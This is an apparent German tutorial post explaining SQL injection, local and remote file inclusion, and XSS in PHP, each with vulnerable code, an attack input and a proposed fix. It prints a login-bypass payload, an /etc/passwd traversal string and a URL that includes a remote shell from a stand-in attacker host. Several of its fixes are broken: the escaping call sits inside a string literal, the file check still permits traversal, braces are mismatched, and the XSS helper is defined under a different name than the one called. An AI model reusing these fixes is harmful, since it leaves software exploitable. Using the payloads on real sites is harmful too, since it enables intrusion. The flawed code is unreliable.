Hey,
ich will euch heute mit den vier größten Sicherheitslücken in PHP Scripts vertraut machen!
1. SQLi(SQL Injection)
2. LFI(Local File Inclusion)
3. RFI(Remote File Inclusion)
4. XSS(Cross Site Scripting)
1. SQL Injection
Das gefährlichste für alle Websites die auf Datenbanken basieren, dadurch kann man nämlich ein eigenen SQL Code anstatt den vorgegebenen der Website ausführen!
Beispielcode:
<?php
$sql = „SELECT * FROM account.account WHERE login = ‚$_POST[‚username‘]‘ AND password = PASSWORD(‚$_POST[‚password‘]‘)“;
mysql_query($sql);
?>
Dies ist ein ganz normales Login Script(bei einer Metin2 Datenbank!)
Doch, wenn man nun beim absenden anstatt dem Password beispielsweise
pw‘) or 1=1
schreibt, so bräuchte man nur den Username wissen, da dann folgender SQL Befehl benutzt wird
SELECT * FROM account.account WHERE login = ‚testuser‘ AND password = PASSWORD(‚pw‘) or 1=1;
durch das or 1=1 wird der Wert TRUE übermittelt, sodass dann die Datenbank mitteilen würde:
Username: TRUE
Passwort: TRUE
Da beides True ist, heißt das für die Website, das die angegebenen Daten korrekt sind!
Wie behebe ich diese Sicherheitslücke?
Durch den Befehl
mysqli_real_escape_string(‚text‘)
In meinem Beispielscript würde das dann so aussehen:
<?php
$sql = „SELECT * FROM account.account WHERE login = ‚mysqli_real_escape_string($_POST[‚username‘])‘ AND password = PASSWORD(‚mysqli_real_escape_string($_POST[‚password‘])‘)“;
mysql_query($sql);
?>
2. Local File Inclusion
Auch sehr gefährlich, da man mit diese Methode alle Serverdateien auslesen kann!
Unser Beispielcode:
<?php
if (isset($_GET[’s‘]))
{
include(’sites/‘ . $_GET[’s‘] . ‚.php‘);
}
else
{
include(‚home.php‘);
}
?>
So, nun kann man in der Adressleiste schreiben:
„www.beispielseite.de/?s=seite.php“
Und die Seite wird aufgerufen!
Wenn man aber nun schreibt:
„www.beispielseite.de/?s=../../../../etc/passwd%00“
wird die Datei etc/passwd aufgerufen, in der befinden sich alle Logins für SSH! Durch %00 verhindert man, das PHP noch das .php dranhängt, da man so den String beendet!
Wie verhinder ich das??
Ich zeige euch eine der einfachsten Methoden!
Ihr überprüft ob die Datei in dem Ordner „sites“ vorhanden ist!
Sofern sie nicht vorhanden ist, wird man zu home.php weitergeleitet!
Und dann sieht das so aus:
<?php
if (isset($_GET[’s‘]))
{
if(file_exists(’sites/‘ . $_GET[’s‘] . ‚.php‘))
{
include(’sites/‘ . $_GET[’s‘] . ‚.php‘);
}
else
{
include(‚home.php‘);
}
else
{
include(‚home.php‘);
}
?>
Nun wird überprüft ob die angegebene Seite in dem Ordner sites existiert oder nicht!
3.Remote File Inclusion
Durch die Remote File Inclusion kann jemand ein Script, welches er auf seinem Webserver hat, in euren einschleusen und so dessen Code ausführen!
Es gilt das gleiche Prinzip wie bei der Local File Inclusion, nur diesmal sieht die Adressleiste so aus:
„http://www.beispielseite.de/?s=http://hackerseite.de/shell.php“
Meistens binden die Hacker/Scriptkiddies sogenannte Shells ein, mit denen sich so ziemlich alles machen lässt!
Der Fix ist der selbe wie bei der Local File Injection!
4. Cross Site Scripting
Bei dieser Sicherheitslücke, binden die Hacker/Scriptkiddies ein JavaScript Code in die Website ein, wodurch z.B. bei einem Link zu einer Website die Cookies der aktuellen Website mitgeschickt werden, wodurch man die Benutzerdaten rausfinden kann!
Der problematische Code:
<div class=“Kommentar“>
<h2><?php echo $_POST[‚Titel‘] ?></h2>
<small><?php echo $_POST[‚Autor‘] ?></small>
<p>
<?php echo $_POST[‚Inhalt‘] ?>
</p>
</div>
Nun kann man beim Inhalt z.B. den Link schreiben wodurch die Cookies an die Hackerwebsite gesschickt werden!
Wie man das unterbinden kann:
<?php
function html($text) {
return htmlentities(strip_tags($text), ENT_QUOTES);
}
?>
<div class=“Kommentar“>
<h2><?php echo h($_POST[‚Titel‘]) ?></h2>
<small><?php echo h($_POST[‚Autor‘]) ?></small>
<p>
<?php echo h($_POST[‚Inhalt‘]) ?>
</p>
</div>